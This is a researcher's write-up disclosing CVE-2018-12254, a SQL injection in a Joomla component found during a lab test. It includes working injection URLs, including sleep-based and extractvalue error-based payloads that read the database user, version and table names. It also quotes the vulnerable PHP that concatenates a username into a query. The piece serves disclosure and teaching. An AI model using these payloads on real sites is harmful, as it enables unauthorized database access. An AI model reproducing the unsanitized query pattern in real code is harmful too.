SQL Injection in Joomla Component CVE-2018-12254

The vulnerability was found in a rather unusual way. A few days ago Daybson was setting up a new test lab for the Desec Security’s Professional Penstest course, when he invited me to test it. I had no idea which was the lab’s vulnerability, so I logged in and started testing. I noticed that my username was in the following URL index.php/home/requested_user/Sent%20interest/corp, which seemed a little off to me, maybe there was some file generated during the registration or something, but in fact I noticed that it wasn’t a file but an URL parameter.

The first obvious test was to add single quotes to it and see what was returned:

url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'or%20a%23

So, having this error, we realize we have a SQL injection!

Making another test, just to be sure:

url: http://[HOST]/index.php/home/requested_user/Sent%20interest/1'or%20sleep(5)%23

All ok to this point but I noticed a limitation when trying to dump the database the classic way, even when using blind. It seemed strange to the that I didn’t get a response for some queries, but I figured out I was somewhat limited and after some research I realized I’d have to dump it using error based with XPATH.

url: http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(1,user())%20%23

url: http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(1,version())%20%23

url: http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(0x0a,concat(0x0a,(select%20database())))%20%23

url: http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(0x0a,concat(0x0a,(select%20table_name%20from%20information_schema.tables)))%20%23

Well, up to this stage, the best way would be creating a script to dump it!

After this I was still curious about how the component was capturing this URL’s part, so I downloaded and searched the source code until I found this part:

router.php

1
2
3
4
5
6
7
if(!empty($segments[2]) && $segments[0]=='requested_user') {
$c_id = EkrishtaUsrID($segments[2]);
if($segments[1] == "Sent interest")
$vars['rid'] = $c_id;
else
$vars['cid'] = $c_id;
}

After a quick glance we know that $c_id is capturing the URL’s bit that contains our username and adding it to an array ($vars). We can basically guess that the EkrishtaUsrID() function is searching our ID or username in the database but let’s see what it’s really doing.

Searching for the EkrishtaUsrID() function, I found it in the same file and it’s possible to see that there’s a sanitization failure in the lines 295 and 305.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
291 - function EkrishtaUsrName($uid)
292 - {
293 -
294 - $db = JFactory::getDBO();
295 - $sql = "SELECT \`username\` FROM #__users WHERE \`id\`='". $uid."'";
296 - $db->setQuery($sql);
297 - return $db->loadResult();
298 -
299 - }
300 -
301 - function EkrishtaUsrID($uid_name)
302 - {
303 -
304 - $db = JFactory::getDBO();
305 - $sql = "SELECT \`id\` FROM #\_\_users WHERE \`username\`= '" .$uid\_name."'";
306 - $db->setQuery($sql);
307 - return $db->loadResult();
308 -
309 - }

Closing up the story the vulnerability I found wasn’t supposed the be in the lab’s syllabus, neither signed or related to any another discovery.